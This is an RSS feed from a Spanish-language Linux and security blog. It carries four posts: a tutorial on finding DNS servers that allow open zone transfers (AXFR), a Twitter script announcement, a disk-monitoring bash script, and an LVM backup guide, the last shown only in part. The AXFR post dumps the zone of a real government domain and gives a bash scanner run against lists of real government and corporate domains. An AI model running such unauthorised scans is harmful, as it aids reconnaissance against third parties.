<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>El rincón de Zerial &#187; script</title>
	<atom:link href="http://blog.zerial.org/tag/script/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.zerial.org</link>
	<description>Informática, GNU/Linux, Seguridad, Hacking, Programación, Ocio</description>
	<lastBuildDate>Wed, 08 Feb 2012 20:48:54 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Búsqueda de servicios DNS con Transferencia de Zona abierta (AXFR)</title>
		<link>http://blog.zerial.org/seguridad/busqueda-de-servicios-dns-con-transferencia-de-zona-abierta-axfr/</link>
		<comments>http://blog.zerial.org/seguridad/busqueda-de-servicios-dns-con-transferencia-de-zona-abierta-axfr/#comments</comments>
		<pubDate>Thu, 11 Aug 2011 18:00:39 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[GNU/Linux]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[axfr]]></category>
		<category><![CDATA[bash]]></category>
		<category><![CDATA[bind]]></category>
		<category><![CDATA[dig]]></category>
		<category><![CDATA[dns]]></category>
		<category><![CDATA[gnu]]></category>
		<category><![CDATA[gnu/linux]]></category>
		<category><![CDATA[script]]></category>
		<category><![CDATA[transferencia de zona]]></category>
		<category><![CDATA[zone transfer]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2572</guid>
		<description><![CDATA[Ya vimos que los servidores mal configurados que permiten realizar transferencias de zona sin restricciones desde cualquier IP son muchos. Para saber si un servidor DNS es &#8220;vulnerable&#8221; a este tipo de ataque usamos la herramienta dig, primero obtenemos los dns que estan asociados al dominio, para este ejemplo usaremos el dominio zerial.org. $ dig [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.zerial.org/seguridad/axfr-una-vulnerabilidad-que-pasa-desapercibida/">Ya vimos</a> que los servidores mal configurados que permiten realizar transferencias de zona sin restricciones desde cualquier IP son muchos.</p>
<p>Para saber si un servidor DNS es &#8220;vulnerable&#8221; a este tipo de ataque usamos la herramienta <strong>dig</strong>, primero obtenemos los dns que estan asociados al dominio, para este ejemplo usaremos el dominio <em>zerial.org</em>.</p>
<p><code>$ dig NS zerial.org<br />
; &lt; &lt;&gt;&gt; DiG 9.7.3 &lt; &lt;&gt;&gt; NS zerial.org<br />
;; global options: +cmd<br />
;; Got answer:<br />
;; -&gt;&gt;HEADER&lt; &lt;- opcode: QUERY, status: NOERROR, id: 64152<br />
;; flags: qr rd ra; QUERY: 1, ANSWER: 5, AUTHORITY: 0, ADDITIONAL: 6</p>
<p>;; QUESTION SECTION:<br />
;zerial.org.			IN	NS</p>
<p>;; ANSWER SECTION:<br />
zerial.org.		86400	IN	NS	ns1.linode.com.<br />
zerial.org.		86400	IN	NS	ns3.linode.com.<br />
zerial.org.		86400	IN	NS	ns2.linode.com.<br />
zerial.org.		86400	IN	NS	ns5.linode.com.<br />
zerial.org.		86400	IN	NS	ns4.linode.com.</code></p>
<p>Ya tenemos la lista de los servidores dns de <em>zerial.org</em>, para probar la transferencia de zona cambiamos <strong>NS</strong> por <strong>AXFR</strong> y forzamos que use el DNS que nosotros elijamos, en este caso probaremos <em>ns3.linode.com</em>:</p>
<p></code><code>$ dig AXFR zerial.org @ns3.linode.com</p>
<p>; &lt; &lt;&gt;&gt; DiG 9.7.3 &lt; &lt;&gt;&gt; AXFR zerial.org @ns3.linode.com<br />
;; global options: +cmd<br />
; Transfer failed.</code></p>
<p><strong>Failed</strong>. No hemos logrado transferir la zona desde ns3.linode.com, lo que nos indica que aparentemente se encuentra bien configurado.<br />
Otro ejemplo usando un dominio que sepamos que tiene esta falla: <strong>finanzas.gov.ar</strong>.<br />
Obtenemos los dos:</p>
<p><code>$ dig NS finanzas.gov.ar</p>
<p>; &lt; &lt;&gt;&gt; DiG 9.8.0-P4 &lt; &lt;&gt;&gt; NS finanzas.gov.ar<br />
;; global options: +cmd<br />
;; Got answer:<br />
;; -&gt;&gt;HEADER&lt; &lt;- opcode: QUERY, status: NOERROR, id: 38476<br />
;; flags: qr rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 2</p>
<p>;; QUESTION SECTION:<br />
;finanzas.gov.ar.		IN	NS</p>
<p>;; ANSWER SECTION:<br />
finanzas.gov.ar.	7006	IN	NS	ns3.zoneedit.com.<br />
finanzas.gov.ar.	7006	IN	NS	ns9.zoneedit.com.</code></p>
<p>Probamos el segundo dns, <strong>ns9.zoneedit.com</strong>.</p>
<p></code><code>$ dig AXFR finanzas.gov.ar @ns9.zoneedit.com</p>
<p>; &lt; &lt;&gt;&gt; DiG 9.8.0-P4 &lt; &lt;&gt;&gt; AXFR finanzas.gov.ar @ns9.zoneedit.com<br />
;; global options: +cmd<br />
finanzas.gov.ar.	7200	IN	SOA	ns3.zoneedit.com. soacontact.zoneedit.com. 2011266765 2400 360 1209600 300<br />
finanzas.gov.ar.	7200	IN	NS	ns3.zoneedit.com.<br />
finanzas.gov.ar.	7200	IN	NS	ns9.zoneedit.com.<br />
finanzas.gov.ar.	7200	IN	A	201.253.123.35<br />
finanzas.gov.ar.	7200	IN	MX	10 ALT1.ASPMX.L.GOOGLE.COM.<br />
finanzas.gov.ar.	7200	IN	MX	10 ALT2.ASPMX.L.GOOGLE.COM.<br />
finanzas.gov.ar.	7200	IN	MX	0 ASPMX.L.GOOGLE.COM.<br />
finanzas.gov.ar.	7200	IN	MX	20 ASPMX2.GOOGLEMAIL.COM.<br />
finanzas.gov.ar.	7200	IN	MX	20 ASPMX3.GOOGLEMAIL.COM.<br />
finanzas.gov.ar.	7200	IN	MX	20 ASPMX4.GOOGLEMAIL.COM.<br />
finanzas.gov.ar.	7200	IN	MX	20 ASPMX5.GOOGLEMAIL.COM.<br />
mail.finanzas.gov.ar.	7200	IN	CNAME	ghs.google.com.<br />
googleffffffff85ca3fa2.finanzas.gov.ar.	7200 IN	CNAME google.com.<br />
asignaciones.finanzas.gov.ar. 7200 IN	A	186.136.205.252<br />
docs.finanzas.gov.ar.	7200	IN	CNAME	ghs.google.com.<br />
www.finanzas.gov.ar.	7200	IN	A	201.253.123.35<br />
mapas.finanzas.gov.ar.	7200	IN	A	201.253.123.35<br />
finanzas.gov.ar.	7200	IN	SOA	ns3.zoneedit.com. soacontact.zoneedit.com. 2011266765 2400 360 1209600 300<br />
;; Query time: 355 msec<br />
;; SERVER: 66.240.231.42#53(66.240.231.42)<br />
;; WHEN: Thu Aug 11 13:49:31 2011<br />
;; XFR size: 18 records (messages 18, bytes 1138)</code></p>
<p>La transferencia de zona se hizo de forma exitosa.</p>
<p>Para poder analizar de forma automatica un listado de dominios, hice un script en bash que usa DIG para obtener los dns de cada dominio y prueba realizar AXFR por cada dominio en todos sus dns.</p>
<pre name="code" class="c">#!/bin/bash

digcmd=$(which dig)
domain=$1
echo -n "[+] Getting NS domains from $1 ..."
ns_domains=$(dig NS $domain @4.2.2.2|grep ^$domain|awk {'print $5'}|sed 's/.$//g')
echo -e "\t[OK]"
for ns in $ns_domains; do echo "[-] Found: "$ns; done
for ns in $ns_domains
do
	echo -n "Trying Zone Transfer from $ns: "
	$digcmd AXFR $domain @$ns|egrep 'Transfer failed|timed out|end of file'>/dev/null
	if [ $? -eq 1 ]
	then
		echo -e "\tSuccess."
	else
		echo -e "\tFail."
	fi
done</pre>
<p><span id="more-2572"></span></p>
<p>La forma de ejecucion es:</p>
<p><code>]$ sh zonetransfer.sh finanzas.gov.ar<br />
[+] Getting NS domains from finanzas.gov.ar ...	[OK]<br />
[-] Found: ns9.zoneedit.com<br />
[-] Found: ns3.zoneedit.com<br />
Trying Zone Transfer from ns9.zoneedit.com: 	Success.<br />
Trying Zone Transfer from ns3.zoneedit.com: 	Success.</code></p>
<p>Nos indica que es posible realizar una transferencia de zona desde ns3.zoneedit.com y ns9.zoneedit.com para el dominio finanzas.gov.ar.<br />
Tambien podemos pasarle un archivo que contenga una lista de dominios que queramos analizar de forma masiva. Por ejemplo, tenemos un archivo llamado dominios.txt con los dominios:<br />
<code>finanzas.gov.ar<br />
transparencia.cl<br />
gobierno.cl<br />
argentina.gov.ar<br />
gobierno.es<br />
microsoft.com</code></p>
<p>Ejecutamos:</p>
<p><code>$ for dom in $(cat dominios.txt); do sh zonetransfer.sh $dom; done<br />
[+] Getting NS domains from finanzas.gov.ar ...	[OK]<br />
[-] Found: ns9.zoneedit.com<br />
[-] Found: ns3.zoneedit.com<br />
Trying Zone Transfer from ns9.zoneedit.com: 	Success.<br />
Trying Zone Transfer from ns3.zoneedit.com: 	Success.<br />
[+] Getting NS domains from transparencia.cl ...	[OK]<br />
[-] Found: ns02.000webhost.com<br />
[-] Found: ns01.000webhost.com<br />
Trying Zone Transfer from ns02.000webhost.com: 	Fail.<br />
Trying Zone Transfer from ns01.000webhost.com: 	Fail.<br />
[+] Getting NS domains from gobierno.cl ...	[OK]<br />
[-] Found: ga.interior.gov.cl<br />
[-] Found: gb.interior.gov.cl<br />
[-] Found: ns1.presidencia.cl<br />
Trying Zone Transfer from ga.interior.gov.cl: 	Fail.<br />
Trying Zone Transfer from gb.interior.gov.cl: 	Fail.<br />
Trying Zone Transfer from ns1.presidencia.cl: 	Success.<br />
[+] Getting NS domains from argentina.gov.ar ...	[OK]<br />
[-] Found: nsii.arcert.gov.ar<br />
[-] Found: nsii.sgp.gov.ar<br />
Trying Zone Transfer from nsii.arcert.gov.ar: 	Fail.<br />
Trying Zone Transfer from nsii.sgp.gov.ar: 	Fail.<br />
[+] Getting NS domains from gobierno.es ...	[OK]<br />
[-] Found: sun.rediris.es<br />
[-] Found: chico.rediris.es<br />
[-] Found: dns1.mpr.es<br />
[-] Found: dns2.mpr.es<br />
Trying Zone Transfer from sun.rediris.es: 	Fail.<br />
Trying Zone Transfer from chico.rediris.es: 	Fail.<br />
Trying Zone Transfer from dns1.mpr.es: 	Fail.<br />
Trying Zone Transfer from dns2.mpr.es: 	Fail.<br />
[+] Getting NS domains from microsoft.com ...	[OK]<br />
[-] Found: ns3.msft.net<br />
[-] Found: ns4.msft.net<br />
[-] Found: ns1.msft.net<br />
[-] Found: ns2.msft.net<br />
[-] Found: ns5.msft.net<br />
Trying Zone Transfer from ns3.msft.net: 	Fail.<br />
Trying Zone Transfer from ns4.msft.net: 	Fail.<br />
Trying Zone Transfer from ns1.msft.net: 	Fail.<br />
Trying Zone Transfer from ns2.msft.net: 	Fail.<br />
Trying Zone Transfer from ns5.msft.net: 	Fail.</code></p>
<p>Ya tenemos el <em>output</em> del script, donde nos dice que los dns de <em>finanzas.gov.ar</em> y uno de <em>gobierno.cl</em> permite AXFR.</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fbusqueda-de-servicios-dns-con-transferencia-de-zona-abierta-axfr%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/busqueda-de-servicios-dns-con-transferencia-de-zona-abierta-axfr/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/busqueda-de-servicios-dns-con-transferencia-de-zona-abierta-axfr/"  data-text="Búsqueda de servicios DNS con Transferencia de Zona abierta (AXFR)" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/busqueda-de-servicios-dns-con-transferencia-de-zona-abierta-axfr/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>simple-pytweet: El reemplazo de twitsh</title>
		<link>http://blog.zerial.org/linux/simple-pytweet-el-reemplazo-de-twitsh/</link>
		<comments>http://blog.zerial.org/linux/simple-pytweet-el-reemplazo-de-twitsh/#comments</comments>
		<pubDate>Sat, 23 Apr 2011 20:04:10 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[GNU/Linux]]></category>
		<category><![CDATA[Mis cosas]]></category>
		<category><![CDATA[Proyectos]]></category>
		<category><![CDATA[aplicacoines]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[script]]></category>
		<category><![CDATA[scripts]]></category>
		<category><![CDATA[twitter]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2175</guid>
		<description><![CDATA[Hace un tiempo publiqué un script que servia para twittear de forma rapida y sin tener ninguna &#8220;aplicación&#8221; aparatosa, el script estaba escrito en bash y en ese tiempo usaba metodo de autenticación &#8220;plana&#8221; e &#8220;insegura&#8221;. Ahora reescribí el código en python y usando OAuth. El nuevo script se llama simple-pytweet y si usar Archlinux [...]]]></description>
			<content:encoded><![CDATA[<p>Hace un tiempo publiqué un script que servia para twittear de forma rapida y sin tener ninguna &#8220;aplicación&#8221; aparatosa, el script estaba escrito en bash y en ese tiempo usaba metodo de autenticación &#8220;plana&#8221; e &#8220;insegura&#8221;. Ahora reescribí el código en python y usando OAuth.<br />
El nuevo script se llama simple-pytweet y si usar Archlinux puedes usar el <a href="http://aur.archlinux.org/packages/simple-pytweet/PKGBUILD">PKGBUILD</a> que <a href="http://aur.archlinux.org/packages.php?ID=48445">publiqué en AUR</a>, sino puedes descargar el tarball desde <a href="http://dev.zerial.org/simple-pytweet">http://dev.zerial.org/simple-pytweet</a>.</p>
<p>El código es simple, requiere <em>python-twitter</em> y <em>pyzenity</em> y lee los parametros de OAuth como TOKEN y SECRET etc desde un archivo llamado <em>.simple-pytweet</em> en tu $HOME.</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fsimple-pytweet-el-reemplazo-de-twitsh%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/linux/simple-pytweet-el-reemplazo-de-twitsh/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/linux/simple-pytweet-el-reemplazo-de-twitsh/"  data-text="simple-pytweet: El reemplazo de twitsh" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/linux/simple-pytweet-el-reemplazo-de-twitsh/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Script monitor de sistemas de archivos y particiones</title>
		<link>http://blog.zerial.org/linux/script-monitor-de-sistemas-de-archivos-y-particiones/</link>
		<comments>http://blog.zerial.org/linux/script-monitor-de-sistemas-de-archivos-y-particiones/#comments</comments>
		<pubDate>Wed, 14 Jul 2010 19:15:42 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[GNU/Linux]]></category>
		<category><![CDATA[Programación]]></category>
		<category><![CDATA[Tips]]></category>
		<category><![CDATA[bash]]></category>
		<category><![CDATA[filesystems]]></category>
		<category><![CDATA[herramientas]]></category>
		<category><![CDATA[monitor]]></category>
		<category><![CDATA[script]]></category>
		<category><![CDATA[shell]]></category>
		<category><![CDATA[sysadmin]]></category>
		<category><![CDATA[tools]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=1782</guid>
		<description><![CDATA[Existen herramientas que nos permiten monitorear distintas cosas en un parque de servidores, como Zabbix, Nagios, etc. Pero hay veces que no es posible, ya sea por recursos o por tiempo, implementar una solución de monitoreo de alto nivel, por lo que recurrimos a los scrtips. Estoy seguro que bash, las llaves publicas y privadas [...]]]></description>
			<content:encoded><![CDATA[<p>Existen herramientas que nos permiten monitorear distintas cosas en un parque de servidores, como Zabbix, Nagios, etc. Pero hay veces que no es posible, ya sea por recursos o por tiempo, implementar una solución de monitoreo de alto nivel, por lo que recurrimos a los scrtips. Estoy seguro que bash, las llaves publicas y privadas para la autentificación, y cron son unos de nuestros mejores amigos al momento de querer monitorear o administrar máquinas simultaneamente.</p>
<p>Con <strong>du</strong> podemos saber el uso de disco de nuestro sistema y con un pequeño script en bash podemos mejorar la salida de este comando.</p>
<p><code>ssh 10.0.0.56 -p5022 "df -hPl"|awk -F ' ' '{print $1,$4,$6,$5}' |egrep -v "Avail|Dispo|Use|Use"</code></p>
<p>Esto nos devuelve en 4 columnas el dispositivo, espacio disponible, punto de montaje y porcentaje usado.</p>
<p>Algo similar a:</p>
<blockquote><p>/dev/mapper/VolGroup_25980-LogVol1 3.5G / 75%<br />
/dev/sda1 80M /boot 16%<br />
none 16G /dev/shm 0%<br />
/dev/mapper/VolGroup_25980-LogVolHome 30G /home 69%<br />
/dev/mapper/VolGroup_25980-LogVol2 4.6G /tmp 1%<br />
/dev/mapper/VolGroup_25980-LogVol5 6.6G /usr 29%<br />
/dev/mapper/VolGroup_25980-LogVol4 14G /var 87%<br />
/dev/mapper/VolGroup_25980-mysql 7.0G /var/lib/mysql 63%</p></blockquote>
<p><span id="more-1782"></span></p>
<p>Mi idea es trabajar con <em>threshold</em> (umbral) y gatillar eventos según el umbral alcanzado. Por ejemplo, con un threshold del 80% asociado al porcentaje utilizado, que envie emails de &#8220;advertencias&#8221; y con el 90% notificaciones de &#8220;criticidad del sistema de archivos&#8221;. Lo que querìa lograr era que todos los dias se monitoreen los sistemas de archivos, generando reportes <strong>diarios</strong> de los sistemas criticos y, <strong>semanalmente</strong>, un reporte general, donde me muestre detalladamente los &#8220;normales&#8221;, &#8220;advertencias&#8221; y los &#8220;criticos&#8221;. La salida esperada es algo asi:</p>
<blockquote><p>[+] Server: x.x.x.x (x.hostname)<br />
[-] [Dev:/dev/hda2] [Mount:/] [Free:4.2G] [Used:5%]</p>
<p>[-] [Dev:/dev/hda1] [Mount:/boot] [Free:83M] [Used:11%]</p>
<p>[-] [Dev:/dev/hda3] [Mount:/home] [Free:3.6G] [Used:19%]</p>
<p>[-] [Dev:/dev/hda6] [Mount:/tmp] [Free:1.7G] [Used:1%]</p>
<p>[-] [Dev:/dev/hda5] [Mount:/usr] [Free:8.6G] [Used:3%]</p>
<p>[-] [Dev:/dev/hda7] [Mount:/var] [Free:12G] [Used:21%]</p>
<p>No critical filesystems</p></blockquote>
<p>[...] cuando <strong>no</strong> hay sistemas de archivos criticos y,</p>
<blockquote><p>
[+] Server: y.y.y.y (y.hostname)<br />
[-] [Dev:/dev/mapper/VolGroup00-LogVol00] [Mount:/] [Free:16G] [Used:14%]</p>
<p>[-] [Dev:/dev/sda1] [Mount:/boot] [Free:80M] [Used:15%]</p>
<p>[-] [Dev:/dev/shm] [Mount:/dev/shm] [Free:2.0G] [Used:0%]</p>
<p>[-] [Dev:/dev/mapper/VolGroup00-LogVol02] [Mount:/var] [Free:7.4G] [Used:74%]</p>
<p>[-] [Dev:/dev/mapper/VolGroup00-LogVol03] [Mount:/backup] [Free:13G] [Used:66%]</p>
<p>[-] [Dev:/dev/mapper/VolGroup00-LogVol04] [Mount:/home] [Free:6.6G] [Used:93%] [***CRITICAL***]</p>
<p>[-] [Dev:/dev/mapper/VolGroup00-LogVol05] [Mount:/usr/local] [Free:7.3G] [Used:89%] [***WARNING***]</p></blockquote>
<p>cuando hay criticos y cuando hay emergencias, es decir, cuando se alcanza el umbral del 90% y 80%, respectivamente.</p>
<p>El script que hice es el siguiente:</p>
<pre name="code" class="c">#/bin/bash -e
warning_threshold="80%"
critical_threshold="90%"

warnings=0;
critical=0;
for host in $(grep -v ^# ips.txt);
do
	critical_count=0;
	hostname=$(echo -n $host|cut -f1 -d ":")
        ip=$(echo -n $host|cut -f2 -d ":")
        port=$(echo -n $host|cut -f3 -d ":")
	echo "\n[+] Server: $ip ($hostname)"
	filesystems=$(ssh $ip -p$port "df -Phl"|egrep -v 'Avail|Dispo|tmpfs|udev|Uso|Use'|awk -F ' ' '{print $6}');
	for FS in $filesystems;
	do
		alert="";
		temp=$(ssh $ip -p$port "df -hPl $FS"|awk -F ' ' '{print $1,$4,$6,$5}' |egrep -v 'Avail|Dispo|Uso|Use');
		dev=$(echo $temp |cut -f1 -d " ");
		mountpoint=$(echo $temp |cut -f3 -d " ");
		size=$(echo $temp |cut -f2 -d " ");
		used=$(echo $temp |cut -f4 -d " ");
		_wthreshold=$(echo -n $warning_threshold |sed 's/%//g');
		_cthreshold=$(echo -n $critical_threshold |sed 's/%//g');
		_used=$(echo -n $used |sed 's/%//g');
		case "$1" in
			weekly)
				if [ $_used -gt $_wthreshold ]; then
                                        alert="[***WARNING***]"; warning=$(expr $warning + 1);
                                fi
				if [ $_used -gt $_cthreshold ]; then
					alert="[***CRITICAL***]"; critical=$(expr $critical + 1);
				fi
				echo "[-] [Dev:$dev] [Mount:$mountpoint] [Free:$size] [Used:$used] $alert";
				echo "";
			;;
			daily)
                                if [ $_used -gt $_cthreshold ]; then
                                        alert="[***CRITICAL***]";
					critical_count=$(expr $critical_count + 1);
                                	echo "[-] [Dev:$dev] [Mount:$mountpoint] [Free:$size] [Used:$used] $alert";
					echo "";
				fi
			;;
		esac
	done
	if [ $critical_count -eq 0 ]; then
		echo "No critical filesystems"
		critical_count=0;
	fi
done
if [ "$1" = "weekly" ]; then
	echo "________________"
	echo "Warnings: $warning\t|";
	echo "Criticals: $critical\t|";
fi</pre>
<p>Para que el script funcione, es necesario que en la misma ruta donde se encuentra, exista el archivo <em>ips.txt</em> que debe tener, bajo la sintaxis <strong>hostname:ip:port</strong>, la información para que el script se conecté por ssh a las máquinas. Para que sea más dinámico y no requiera la intervención de un humano, la máquina donde se ejecutará el script debe tener una llave privada cuya llave publica esté repartida en los servidores que se desean monitorear.<br />
El script necesita un argumento para funcionar, puede ser &#8220;weekly&#8221; o &#8220;daily&#8221;, segun se necesite. Con daily el script genera reportes donde mostrará solamente los criticos, mientras que con weekly hará un reporte general.</p>
<p>En el cron tengo agregado que <strong>todos los dias a las 9AM, haga un reporte diario</strong> y <strong>todos los lunes a las 8AM uno general (weekly)</strong> y los envie por correo a los responsables.</p>
<blockquote><p> 8 * * 1 cd /root/du_alert; sh alert.sh weekly |mail -s &#8220;Weekly Disk Usage Status&#8221; encargado@dominio.cl &#8212; -F &#8220;System Administrator&#8221;<br />
0 9 * * * cd /root/du_alert; sh alert.sh daily |mail -s &#8220;Daily Disk Usage Status&#8221; encargado@dominio.cl &#8212; -F &#8220;System Administrator&#8221;</p></blockquote>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fscript-monitor-de-sistemas-de-archivos-y-particiones%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/linux/script-monitor-de-sistemas-de-archivos-y-particiones/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/linux/script-monitor-de-sistemas-de-archivos-y-particiones/"  data-text="Script monitor de sistemas de archivos y particiones" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/linux/script-monitor-de-sistemas-de-archivos-y-particiones/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Imagenes y snapshots: Respaldo de servidores</title>
		<link>http://blog.zerial.org/linux/imagenes-y-snapshots-respaldo-de-servidores/</link>
		<comments>http://blog.zerial.org/linux/imagenes-y-snapshots-respaldo-de-servidores/#comments</comments>
		<pubDate>Mon, 22 Feb 2010 13:15:02 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[GNU/Linux]]></category>
		<category><![CDATA[Tips]]></category>
		<category><![CDATA[automatizacion]]></category>
		<category><![CDATA[backup]]></category>
		<category><![CDATA[bash]]></category>
		<category><![CDATA[dd]]></category>
		<category><![CDATA[gnu/linux]]></category>
		<category><![CDATA[lvm]]></category>
		<category><![CDATA[nfs]]></category>
		<category><![CDATA[respaldos]]></category>
		<category><![CDATA[script]]></category>
		<category><![CDATA[servidores]]></category>
		<category><![CDATA[shell]]></category>
		<category><![CDATA[snapshots]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=1563</guid>
		<description><![CDATA[Mi propósito era crear imágenes de todos los servidores del datacenter para que, en caso de cualquier contingencia, levantar un nuevo servidor identico simplemente traspasando la imágen de respaldo hacia ese servidor. Los sistemas estaban instalados usando volumenes lógicos (LVM) por lo que sería mucho más fácil crear imágenes y snapshots de respaldos. En un [...]]]></description>
			<content:encoded><![CDATA[<p>Mi propósito era crear imágenes de todos los servidores del datacenter para que, en caso de cualquier contingencia, levantar un nuevo servidor identico simplemente traspasando la imágen de respaldo hacia ese servidor. Los sistemas estaban instalados usando volumenes lógicos (LVM) por lo que sería mucho más fácil crear imágenes y snapshots de respaldos. En un prinicpio pensé hacer directamente <strong>dd</strong> sobre los volumenes lógicos pero la imágen se corrompía y en muchos casos no podía volver a recuperarla. Existe la posibilidad de montar el volumen lógico en un directorio y respaldar, usando tar, bzip y esas cosas, sólo los archivos, pero no era mi propósito, ya que para restaurar solamente los archivos, debía tener una partición ya preparada, con el sistma de ficheros, sistema instalado, etc etc. En cambio, con la imágen simplemente hacia un <strong>dd</strong> para restaurarla, sin tener el sistema de archivos creado, etc.</p>
<p>Por twitter me recomendaron varias opciones. <a href="http://twitter.com/apostols">@Apostols</a> me recomendó las herramientas &#8220;puppet&#8221; y &#8220;rlbackup&#8221;, mientras que <a href="http://twitter.com/ssugasti">@ssugasti</a> &#8220;mondorescue&#8221;, pero yo seguia con mi idea de usar directamente &#8220;dd&#8221;. Debía hacer el mismo procedimiento en mas de 40 servidores, por lo que usar una aplicación &#8220;cliente->servidor&#8221; no era mi solución. Usar aplicaciones que requieran modo grafico o que requieran mucha interacción con el usuario tampoco me servian, yo necesitaba algo automatizado que pueda dejar corriendo de noche y volver al otro día y encontrar el trabajo hecho.</p>
<p><span id="more-1563"></span></p>
<p>Leyendo el manual de LVM, especialmente el de <strong>lvcreate</strong>, encontré la opción &#8220;<strong>snapshot</strong>&#8221; que básicamente le toma una &#8220;foto&#8221; al volumen lógico de origen y crea un nuevo volumen con ese preciso instante en que se hizo el snapshot, de ésta forma la partición original podrá ser actualizara mientras que el snapshot se respalda sin problemas. Luego de eso, el snapshot se elimina y se guarda la imágen. La rutína sería mas o menos asi:</p>
<p><code># lvcreate --snapshot /dev/Vol00/var --name var-snap -L100k<br />
# dd if=/dev/Vol00/var-snap of=/backup/var.img<br />
# lvremove -f /dev/Vol00/var-snap </code></p>
<p>De esta forma, creamos un snapshot llamado &#8220;var-snap&#8221; en base a la partición (o volumen) /dev/Vol00/var, luego, usando dd, creamos la imágen de dicha partición y la guardamos en /backup. Finalmente eliminamos el snapshot.<br />
Para tener aún más certesa de que todo funcionaría, tambien decidí empaquetar, comprimir y guardar los ficheros, por lo que antes de eliminarla (lvremove) la debo montar y hacer un tar. La rutina quedaría así:</p>
<p><code># lvcreate --snapshot /dev/Vol00/var --name var-snap -L100k<br />
# dd if=/dev/Vol00/var-snap of=/backup/var.img<br />
# mount /dev/Vol00/var-snap /mnt<br />
# tar cfjv /bakcup/var.tbz2 /mnt<br />
# umount /mnt<br />
# lvremove -f /dev/Vol00/var-snap </code></p>
<p>En mi caso, /backup corresponde a un punto de montaje de red NFS.<br />
Mi misión era realizar ésta misma rutina en más de 40 servidores, por lo que necesitaba hacer un script que se paseara por todos los servidores y ejecutara estos comandos.</p>
<pre name="code" class="c">
#!/bin/bash

IDENTITYFILE=$HOME/.ssh/id_rsa
MACHINES=servidores.list
DATE=$(date +%d%m%Y)
NFS=/mnt/imagenes/servers/
DIR_SNAPSHOT=/mnt/snapshot

for server in $(cat servidores.list);
do
